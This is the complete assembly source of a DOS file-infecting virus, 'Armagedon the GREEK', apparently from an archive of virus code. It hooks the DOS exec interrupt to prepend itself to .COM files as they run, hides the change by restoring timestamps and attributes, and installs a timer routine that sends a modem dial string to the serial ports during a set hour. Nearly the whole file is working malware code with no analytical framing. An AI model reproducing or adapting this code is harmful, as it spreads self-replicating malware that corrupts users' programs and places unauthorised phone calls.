Underground/Underground CD1.iso/virii/zrodla/a/armagedo.asm

Assembly Source File | 1998-01-14 | 17.1 KB | 524 lines

dta                        equ            offset last_byte+10
virlen                equ            (offset last_byte - offset start)
strlen                equ            (offset endstr - offset startstr)

code                    segment
                            assume     cs:code,ds:code
                            org            100h
start:                jmp         main

newint21            proc         far                                        ; SETS THE 'INT 21h' VIRUSED
                            pushf                                                  ; Save flags for compare
                      cmp         ah,0e0h               ; Is it exist-test?
                      jnz         notest1               ; if not go on
                        mov         ax,0dadah             ; else return signature,
                      popf                                                    ; restore flag and
                            iret                            ; return to program
notest1:            cmp            ah,0e1h
                            jnz            notest2
                            mov            ax,cs
                            popf
                            iret
notest2:      cmp         ax,4b00h              ; is 'EXEC' command?
                            jz             infector                            ; if yes go to 'infection'
do_oldint:    popf                            ; restore flags
                      jmp         dword ptr cs:oldint21a; jump to normal INT 21h
newint21            endp

oldint21a            dw             ?                                            ; old INT 21h vector (low)
oldint21b            dw             ?                                            ; old INT 21h vector (high)
oldint8a            dw             ?                                            ; old INT 8 vector (low)
oldint8b            dw             ?                                            ; old INT 8 vector (high)
status                db             0                                            ; flag for time (call in progress)
ticks                    db             0                                            ; 18.2 tick counter
cur_h                    db             0                                            ; Current time (HOURS)
cur_m                    db             0                                            ; Current time (MINUTES)
cur_s                    db             0                                            ; Current time (SECONDS)
count                    dw             0                                            ; dial counter (30 sec, 540 ticks)
garbidge            db            0
stringpos            db            0
call_made            db            0
init_done            db            0
comext                db             'COM'                                    ; Valid inf. extension
handle                dw             ?                                            ; inf. handle number
filesize            dw            20
prseg                    dw            ?
seg_buffer        dw            ?
ss_reg                dw            ?
sp_reg                dw            ?
fileds                dw            ?
filedx                dw            ?
attr                    dw            ?
filedate            dw            ?
filetime            dw            ?

env_seg                dw            00h
cdline_offs        dw            81h
cdline_seg        dw            ?
fcb1_offs            dw            5ch
fcb1_seg            dw            ?
fcb2_offs            dw            6ch
fcb2_seg            dw            ?

infector            proc         near                                    ; PROGRAM INFECTOR
                            assume     cs:code                                ;
                            push         ds                                        ; save registers to
                            push         bx                                        ; insure normal operation
                            push         si                                        ; by the INT 21h (ah=4b00h)
                          push         cx                                        ;
                            push         ax                                        ;
                          push         dx                                        ;
                            push         bp                                        ;
                            push         es                                        ;
                            push        di                                        ;

                            cld                                                        ; Reset direction to increament
                            push         dx                                        ; Store the address of the
                            push         ds                                        ; filespec (DS:DX)
                            xor            cx,cx                                    ; reset counter
                            mov            si,dx                                    ; set ptr to filespec
nxtchr:                mov         al,ds:[si]                        ; take a char
                            cmp         al,0                                    ; is it zero?
                            jz            okay                                    ; if yes goto okay
                            inc         cx                                        ; else increase counter
                            inc         si                                        ; and pointer
                            jmp            nxtchr                                ; take the next chr if CX>0
okay:
                            add            dx,cx                                    ; Point to end of filespec
                            sub            dx,3                                    ; point to .EXT
                            mov         si,offset comext            ; Check if it is a
                            mov         di,dx                                    ; .COM file
                            cmp            byte ptr ds:[di-3],'N';
                            jnz            ok_1                                    ; Is it a ND. ?
                            cmp            byte ptr ds:[di-2],'D'; if yes exit!
                            jz            nmatch                                ;
ok_1:                    mov         cx,3                                    ; checking counter in 3
cmp_loop:            mov         al,cs:[si]                        ;    take 1st ptr's chr
                            cmp         al,ds:[di]                        ;    and compare it with filespec
                            jnz         nmatch                                ; If no matching, exit
                            inc         si                                        ; else increase 1st ptr
                            inc         di                                        ; and second ptr
                            loop         cmp_loop                            ; take next compare if CX>0

                            pop         ds                                        ;    restore ds and dx to point
                            pop         dx                                        ;

                            push         dx                                        ; Store pointer
                            push         ds                                        ;
                            mov         si,dx                                    ; Check if filespec
                            mov         dl,0                                    ; contains a drive
                            cmp         byte ptr ds:[si+1],':'; letter
                            jnz         nodrive                                ; If no jump to nodrive spec.
                            mov         dl,ds:[si]                        ; else take the drive in DL
                            and         dl,0fh                                ; and modify for int 21h (ah=36h)
nodrive:            mov         ah,36h                                ; Take free disk space of DL disk
                            int         21h                                        ; Do the call
                            cmp         ax,0ffffh                            ; Was an invalid drive specified?
                            jz             nmatch                                ; if yes, exit
                            jmp            bypass                                ; Correct jx 127 limit

nmatch:                jmp            nomatch
invd:                    jmp            invdrive
closeit1:            jmp            closeit
resdta1:            jmp            resdta

bypass:                cmp         bx,3                                    ; Are there at least 3 clust. free?
                            jb             nmatch                                ; If no, exit
                            pop         ds                                        ; restore pointers
                            pop         dx                                        ;

                            push        ds                                        ; and allocate memory
                            push        dx                                        ; for the infection
                            mov          cs:fileds,ds
                            mov            cs:filedx,dx
                            mov            ax,4300h                            ; code for Get Attr
                            int            21h
                            mov            cs:attr,cx
                            mov            ax,4301h
                            xor            cx,cx
                            int            21h

                            mov            bx,0ffffh
                            mov            ah,48h
                            int            21h
                            mov            ah,48h
                            int            21h
                            mov            cs:seg_buffer,ax

                            mov            ax,cs
                            mov            ds,ax
                            mov            dx,dta
                            mov            ah,1ah
                            int            21h

                            pop            dx
                            pop            ds
                            mov         ax,3d02h                            ; DosFn OPEN FILE (R/W)
                            clc                                                        ; Clear carry flag
                            int         21h                                        ; Do open
                            jc            closeit1                            ; If Error exit
                            mov          bx,ax                                    ; Handle to BX
                            mov            cs:handle,ax                    ; save handle
                            mov         cx,0ffffh                            ; Bytes to read
                            mov            ax,cs:seg_buffer            ;
                            mov            ds,ax                                    ;
                            mov            dx,virlen                            ; DS:DX points to buffer
                            mov            ah,3fh                                ; DosFn READ FROM FILE
                            clc                                                        ; clear carry flag
                            int            21h                                        ; Do the call
                            jc            closeit1                            ; if error exit
                            mov            cs:filesize,ax                ; Num of bytes actually read
                                ;cmp            ax,0e000h                            ; max com size to infect
                                ;ja            closeit1                            ; if size>max exit
                            cmp            ax,virlen                            ; if filesize is less than the
                            jb            virit                                    ; virus size then it is clean
                            mov            si,virlen+1                        ; Set 1st ptr to START of file
                            add         si,si                                    ; add 1st ptr the length of file
                            sub            si,21                                    ; and subtract 12 to point to sig.
                            mov            cx,19                                    ; set the test loop to 10 bytes
                            mov            di,offset signature        ; Set 2nd ptr to constant signature
test_sig:            mov            al,ds:[si]                        ; take the byte pointed to by SI
                            mov            ah,cs:[di]                        ; and compare it with the byte
                            cmp            ah,al                                    ; pointed to by DI
                            jne            virit                                    ; if not equal then it is clean!
                            inc            si                                        ; else increase 1st pointer
                            inc         di                                        ; increase 2nd pointer
                            loop        test_sig                            ; continue with next if CX>0
                            jmp            closeit

virit:                mov            ax,4200h                            ; Code for LSEEK (Start)
                            mov            bx,cs:handle                    ; Handle num in BX
                            xor            cx,cx                                    ; Reset CX
                            mov            dx,cx                                    ; and DX
                            int            21h                                        ; Do the call
                            jc            closeit

                            mov            si,offset start
                            mov            cx,virlen
                            xor            di,di
                            mov            ax,cs:seg_buffer
                            mov            ds,ax
virusin:            mov            al,cs:[si]
                            mov            ds:[di],al
                            inc            si
                            inc            di
                            loop        virusin

                            mov            ax,5700h
                            mov            bx,cs:handle
                            int            21h
                            mov            cs:filetime,cx
                            mov            cs:filedate,dx

                            mov            ax,cs:seg_buffer
                            mov            ds,ax

                            mov            si,virlen
                            mov            al,ds:[si]
                            add            al,11
                            mov            ds:[si],al

                            xor            dx,dx                                    ; DX points to Buffer (file)
                            mov            cx,cs:filesize                ; Size of file in CX
                            add         cx,virlen                            ; But added by Virlen
                            mov            bx,cs:handle                    ; File handle num in BX
                            mov            ah,40h                                ; Code for WRITE FILE
                            int         21h                                        ; Do the call

                            mov            cx,cs:filetime
                            mov            dx,cs:filedate
                            mov            bx,cs:handle
                            mov            ax,5701h
                            int            21h

closeit:            mov            bx,cs:handle                    ; Handle in BX
                            mov            ah,3eh                                ; Code for CLOSE FILE
                            int            21h                                        ; Do close it
                            push        cs
                            pop            ds
resdta:                mov            dx,80h                                ; Reset the DTA
                            mov            ah,1ah                                ; in Address 80H
                            int         21h                                        ; Do call
                            mov            ax,cs:seg_buffer
                            mov            es,ax
                            mov            ah,49h
                            int            21h

                            mov            ax,cs:fileds                    ;
                            mov            ds,ax                                    ;
                            mov            dx,cs:filedx                    ;
                            mov            ax,4301h                            ;
                            mov            cx,cs:attr                        ;
                            int         21h                                        ;
                            jmp         invdrive                            ; and exit
nomatch:
                            pop         ds
                            pop            dx
                            jmp     notinfect

invdrive:
notinfect:
                            pop            di                                        ; restore registers
                            pop         es                                        ; to their initial
                            pop         bp                                        ; values
                            pop         dx                                        ;
                            pop         ax                                        ;
                            pop         cx                                        ;
                            pop         si                                        ;
                            pop         bx                                        ;
                            pop         ds                                        ;
                            jmp         do_oldint                            ; return from call
infector             endp

newint8                proc         far                                        ; VIRUS' TIMER ISR
                            push        bp                                        ;
                            push        ds                                        ; store all registers
                            push         es                                        ; and flags before
                            push        ax                                        ; the new timer
                            push        bx                                        ; operations.
                            push         cx                                        ; Otherwize a 'crush'
                            push         dx                                        ; is unavoidable
                            push        si                                        ;
                            push        di                                        ;
                            pushf                                                    ; Simulate an INT
                            call         dword ptr cs:oldint8a    ; Do old timer stuff
                            call         tick                                    ; update virus clock routine
                            push        cs
                            pop            ds
                            mov         ah,5                                    ; Check if time
                            mov            ch,cur_h                            ; is now above the
                            cmp         ah,ch                                    ; lower limit (5 o'clock)
                            ja             exitpoint                            ; if not, exit
                            mov         ah,6                                    ; Check if time
                            cmp         ah,ch                                    ; is now below the higher limit
                            jb             exitpoint                            ; if not, exit
                            mov         ah,status                            ; get the virus status
                            cmp            ah,1                                    ; test if call in progress
                            jz            in_progress                        ; if yes goto countdown routine
                            mov         ah,1                                    ; if not, set the status to
                            mov            status,ah                            ; indicate 'In progress'
                            jmp         exitpoint                            ; and exit
in_progress:                                                                ; CALL IS IN PROGRESS!
                            call         dial                                    ; else call dial routine
                            inc         count                               ; CALL_TIMER
                            mov            ax,count
                            cmp            ax,540                                ; check for time-out
                            jne            exitpoint                            ; if not, exit else
                            xor         ax,ax                                    ; set status to indicate
                            mov     status,ah                            ; 'ready to call'!
                            mov            count,ax                            ; reset call_timer
                            mov            call_made,ah
exitpoint:
                            pop         di                                        ; restore registers to
                            pop            si                                        ; their values and
                            pop            dx                                        ;
                            pop            cx                                        ;
                            pop            bx                                        ;
                            pop            ax                                        ;
                            pop            es                                        ;
                            pop         ds                                        ;
                            pop         bp                                        ;
                            iret                                                    ; return to program
newint8                endp

tick                    proc         near                                    ; VIRUS' CLOCK ROUTINE
                            assume  cs:code,ds:code
                            push        cs
                            pop            ds
                            xor            al,al
                            mov         ah,ticks                            ; test if ticks have
                            cmp            ah,17                                    ; reached limit (17)
                            jnz            incticks                            ; if no, incerase ticks
                            mov            ah,cur_s                            ; test if seconds have
                            cmp            ah,59                                    ; reached limit (59)
                            jnz            incsec                                ; if no, increase seconds
                            mov         ah,cur_m                            ; test if minutes have
                            cmp         ah,59                                    ; reached limit (59)
                            jnz            incmin                                ; if no, increase minutes
                            mov         ah,cur_h                            ; test if hours have
                            cmp            ah,23                                    ; reached limit (23)
                            jnz            inchour                                ; if no, increase hours
                            mov            cur_h,al                            ; else reset hours
exitp3:                mov            cur_m,al                            ; reset minutes
exitp2:                mov            cur_s,al                            ; reset seconds
exitp1:                mov            ticks,al                            ; reset ticks
                            ret                                                        ; end exit
incticks:            inc         ticks                                    ; increase ticks
                            ret                                                        ; and exit
incsec:                inc            cur_s                                    ; increase seconds
                            jmp            exitp1                                ; and exit
incmin:                inc         cur_m                                    ; increase minutes
                            jmp            exitp2                                ; and exit
inchour:            inc            cur_h                                    ; increase hours
                            jmp         exitp3                                ; end exit
tick                    endp

startstr:
string                db             '+++aTh0m0s7=35dp081,,,,141'
endstr:

dial                    proc         near
                            assume     cs:code,ds:code

                            mov            al,call_made
                            cmp            al,1
                            jz            exit_dial
                            mov            al,init_done
                            cmp            al,1
                            jz            send_one

                            mov            cx,3
next_init:        mov         dx,cx
                            xor            ah,ah
                            mov         al,131
                            int         14h
                            loop         next_init
                            mov            al,1
                            mov            init_done,al
                            jmp            exit_dial

send_one:            push        cs
                            pop            ds
                            mov         si,offset string
                            mov            al,stringpos
                            cmp            al,strlen
                            jnz            do_send
                            jmp            sendret

do_send:            xor            ah,ah
                            add            si,ax
next_char:        mov         al,[si]
                            mov         dx,3f8h
                            out         dx,al
                            mov         dx,2f8h
                            out         dx,al
                            mov         dx,2e8h
                            out         dx,al
                            mov         dx,3e8h
                            out         dx,al
                            inc            stringpos
                            jmp            exit_dial

sendret:            mov            cx,3
retloop:            mov            dx,cx
                            mov            al,13
                            mov            ah,1
                            int            14h
                            loop        retloop

reset:                mov            ax,0001h
                            mov            call_made,al
                            mov            stringpos,ah
                            mov            init_done,ah
exit_dial:        ret
dial                    endp

main:                                                                                ; VIRUS' MEMORY INSTALLER
                            assume  cs:code,ds:code              ;
                            mov         ah,0e0h                                ; is VIRUS already
                            int         21h                                        ; in memory?
                            cmp         ax,0dadah                            ; if yes then
                            jnz          cont                                    ; terminate, else
                            jmp            already_in
cont:                    push        cs
                            pop            ds
                            mov         ax,3521h                            ; capture the old
                            int         21h                                        ; INT 21h vector and
                            mov         oldint21a,bx                    ; store the absolute address
                            mov         oldint21b,es                    ; in 'oldint21x' variables
                            mov         dx,offset newint21        ; point to new INT 21h ISR
                            mov         ax,2521h                            ; replace it to vector
                            int         21h                                        ;
                            mov         ax,3508h                            ; capture the old
                            int         21h                                        ; timer vector and
                            mov         oldint8a,bx                        ; store the address
                            mov         oldint8b,es                        ; in 'oldint8x' var
                            mov         dx,offset newint8            ; point to new timer ISR
                            mov         ax,2508h                            ; replace it to vector
                            int         21h                                        ;
                            mov         ah,2ch                                ; get the current
                            int         21h                                        ; time from DOS
                            mov         cur_h,ch                            ; and store it
                            mov         cur_m,cl                            ; for the
                            mov         cur_s,dh                            ; virus' timer
                            ; RUN PROGRAM!
                            mov         ax,cs:[2ch]
                            mov            ds,ax
                            xor            si,si
loop1:                mov            al,ds:[si]
                            cmp         al,1
                            jz            exitl1
                            inc            si
                            jmp            loop1
exitl1:                inc            si
                            inc            si
                            mov         dx,si

                            mov            ax,cs
                            mov            es,ax                            ; SHRINK  BLOCK
                            mov            bx,90
                            mov            ah,4ah
                            int            21h

                            mov            bx,cs:[81h]
                            mov            ax,cs
                            mov            es,ax
                            mov            cs:fcb1_seg,ax
                            mov            cs:fcb2_seg,ax
                            mov            cs:cdline_seg,ax
                            mov            ax,4b00h
                            ;
                            ;
                            ;
                            mov            cs:ss_reg,ss
                            mov            cs:sp_reg,sp
                            pushf
                            call         dword ptr cs:oldint21a
                            mov            ax,cs:ss_reg
                            mov            ss,ax
                            mov            ax,cs:sp_reg
                            mov            sp,ax
                            mov            ax,cs
                            mov            ds,ax
                            mov         dx,offset last_byte
                            int         27h

already_in:        mov            ah,0e1h
                            int            21h
                            mov            si,offset pokelabl
                            mov            cs:[si+3],ax
                            mov            ax,offset fix_com
                            mov            cs:[si+1],ax
                            mov            ax,cs:filesize
                            mov            bx,cs
pokelabl:            db            0eah,00h,00h,00h,00h

fix_com:            mov            cx,ax
                            mov            ds,bx
                            mov            si,100h
                            mov            di,100h+virlen
dofix:                mov            al,ds:[di]
                            mov            ds:[si],al
                            inc            si
                            inc            di
                            loop        dofix
                            mov            si,offset poklb
                            mov            cs:[si+3],ds
                            mov            al,ds:[100h]
                            sub            al,11
                            mov            ds:[100h],al
                            mov            ax,ds
                            mov            es,ax
                            mov            ss,ax
poklb:                db            0eah,00h,01h,00h,00h

signature:        db             'Armagedon the GREEK'
last_byte:        db            90h+11
                            nop
                            nop
                            nop
                            mov            ah,4ch
                            int         21h
code                    ends
                            end         start